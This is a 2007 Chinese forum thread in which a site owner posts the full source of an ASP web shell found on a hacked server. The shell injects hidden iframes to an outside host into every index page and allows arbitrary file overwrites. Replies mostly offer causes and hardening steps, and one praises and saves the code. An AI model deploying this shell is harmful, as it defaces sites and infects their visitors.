公司网站内容被撰改!把网站文件拷下一看,冷汗!

purexiafeng 2007-02-26 04:07:48
公司网站内容被撰改,开始怀疑是 SQL驻入,但是刚把网站文件一搜索。汗!
里面目录下有个
\aspnet_client\system_web\1_0_2914_16\newup.asp
打开一看:好毒啊!不知道是谁放进来!!
<%Server.ScriptTimeout=10000
Response.Buffer=False
%>
<html>
<head>
<title>By S.D.I-E路</title>
S.D.I--核心专用 shell
</head>
<body>
<%
ASP_SELF=Request.ServerVariables("PATH_INFO")
s=Request("fd")
ex=Request("ex")
pth=Request("pth")
newcnt=Request("newcnt")
If ex<>"" AND pth<>"" Then
select Case ex
Case "edit"
CALL file_show(pth)
Case "save"
CALL file_save(pth)
End select
Else
%>
<form action="<%=ASP_SELF%>" method="POST">
输入要挂马的路径:
<input type="text" name="fd" size="40">
<input type="submit" value="开始">
</form>
<%End If%>
<%
Function IsPattern(patt,str)
Set regEx=New RegExp
regEx.Pattern=patt
regEx.IgnoreCase=True
retVal=regEx.Test(str)
Set regEx=Nothing
If retVal=True Then
IsPattern=True
Else
IsPattern=False
End If
End Function
If IsPattern("[^ab]{1}:{1}(\\|\/)",s) Then
sch s
Else
If s<>"" Then Response.Write "Invalid Agrument!"
End If
Sub sch(s)
oN eRrOr rEsUmE nExT
Set fs=Server.createObject("Scripting.FileSystemObject")
Set fd=fs.GetFolder(s)
Set fi=fd.Files
Set sf=fd.SubFolders
For Each f in fi
rtn=f.Path
step_all rtn
Next
If sf.Count<>0 Then
For Each l In sf
sch l
Next
End If
End Sub
Sub step_all(agr)
retVal=IsPattern("(\\|\/)(default|index)\.(htm|html|asp|php)\b",agr)
If retVal Then
step1 agr
step2 agr
Else
Exit Sub
End If
End Sub
%>
<%Sub step1(str1)%>
<a href="<%=ASP_SELF%>?ex=edit&pth=<%=str1%>" target="_blank"><%=str1%></a><br>
<%End Sub%>
<%
Sub step2(str2)
addcode="<iframe src=http://www.00sj.com width=0 height=0 frameborder=0></iframe>"
Set fs=Server.createObject("Scripting.FileSystemObject")
isExist=fs.FileExists(str2)
If isExist Then
Set f=fs.GetFile(str2)
Set f_addcode=f.OpenAsTextStream(8,-2)
f_addcode.Write addcode
f_addcode.Close
Set f=Nothing
End If
Set fs=Nothing
End Sub
%>
<%
Sub file_show(fname)
Set fs1=Server.createObject("Scripting.FileSystemObject")
isExist=fs1.FileExists(fname)
If isExist Then
Set fcnt=fs1.OpenTextFile(fname)
cnt=fcnt.ReadAll
fcnt.Close
Set fs1=Nothing%>
FILE: <%=fname%>
<form action="<%=ASP_SELF%>" method="POST">
<textarea name="newcnt" cols="100" rows="30"><%=cnt%></textarea>
<input type="hidden" name="pth" value="<%=fname%>">
<input type="hidden" name="ex" value="save">
<input type="submit" value="SAVE">
</form>
<%Else%>
<p>文件不存在.</p>
<%
End If
End Sub
%>
<%
Sub file_save(fname)
Set fs2=Server.createObject("Scripting.FileSystemObject")
Set newf=fs2.createTextFile(fname,True)
newf.Write newcnt
newf.Close
Set fs2=Nothing
Response.Write "<p>文件保存成功.</p>"
End Sub
%>
</body>
</html>
...全文
2725 35 打赏 收藏 转发到动态 举报
写回复
用AI写文章
35 条回复
切换为时间正序
请发表友善的回复…
发表回复
srva 2007-03-01
  • 打赏
  • 举报
回复
UP~~~
net205 2007-02-28
  • 打赏
  • 举报
回复
...
heartbreakee 2007-02-28
  • 打赏
  • 举报
回复
sql漏洞吧
cow8063 2007-02-28
  • 打赏
  • 举报
回复
上传漏洞的了
xb8254 2007-02-28
  • 打赏
  • 举报
回复
d
kencorn 2007-02-28
  • 打赏
  • 举报
回复
这个批量挂马的代码不错~
收藏了!
呵呵
zenner3000 2007-02-28
  • 打赏
  • 举报
回复
```
ivivian 2007-02-28
  • 打赏
  • 举报
回复
亲身经历过,下面是处理方法,到现在有半年多没有再出现过异常!
asp木马上传方法分析
asp木马病毒,可能是根据新闻论坛等程序中的文件上传功能产生的!
----------------------------------------
解决思路:
在注册表HKEY_CLASSES_ROOT中找到"shell.application"、"Wscript.SHELL"、“Wscript.NETWORK”
等危险的脚本对象(因为它们都是用于创建脚本命令通道的)进行改名或删除,也就是限制系统对
“脚本SHELL”的创建,ASP木马也就成为无本之木、无米之炊,运行不起来了。
----------------------------------------
操作步骤:
1、备份注册表,备份硬盘重要的文件到本地
2、在注册表中分别查找以上名字"shell.application"、"Wscript.SHELL"、“Wscript.NETWORK”、
“scripting.FileSystemObject”,将所有的都删除掉!
3、重新启动IIS
4、使用木马分析专家全盘杀毒
5、对系统中ftp等密码修改
6、对系统超级用户名称密码进行修改,只保留超级用户和默认的用户
7、对在网站上数据库密码进行修改
8、对asp、asp.net连接字符修改加密, asp中的使用DNS连接,asp.net中的加密!
9、清理网站无关紧要内容
擒兽 2007-02-27
  • 打赏
  • 举报
回复
如果核心不是你开发的,可以怀疑一下以前的人。

我汗你们公司一个
purexiafeng 2007-02-27
  • 打赏
  • 举报
回复
哪套程序啊
超级大笨狼 2007-02-27
  • 打赏
  • 举报
回复
Eri 2007-02-27
  • 打赏
  • 举报
回复
想知道那里来的得查日志,

按照我的经验,一般都是SQL注入,或者上传漏洞导致的。
chenyuling 2007-02-27
  • 打赏
  • 举报
回复
我以前遇见的问题
老是被别人嵌入<iframe src="www.waigua9999.com">
烦都烦死了
就是不知道怎么解决,可能也有朋友遇见过了的
接帖学习
xiaowula 2007-02-27
  • 打赏
  • 举报
回复
第一:关掉你的共享, net share /del
第二:重装系统最好用 windows 2003 企业版
第三:设计网站的权限,不要用Guest
第四:设计相关文件夹的权限,除了像Upfile之类的文件夹加 写 权限
第五:勤更新系统,装个查毒就可以了
天下无敌了。。。。。。。。。。。。。。。。。。。
best8625 2007-02-27
  • 打赏
  • 举报
回复
Up
best8625 2007-02-27
  • 打赏
  • 举报
回复
Up
executemylove 2007-02-27
  • 打赏
  • 举报
回复
这个文件是干嘛的
goodidid 2007-02-27
  • 打赏
  • 举报
回复
很好,以后拿工资就靠它了。
Rubi 2007-02-27
  • 打赏
  • 举报
回复
原因太多了
wskyo 2007-02-27
  • 打赏
  • 举报
回复
不错
加载更多回复(15)

28,391

社区成员

发帖
与我相关
我的任务
社区描述
ASP即Active Server Pages,是Microsoft公司开发的服务器端脚本环境。
社区管理员
  • ASP
  • 无·法
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧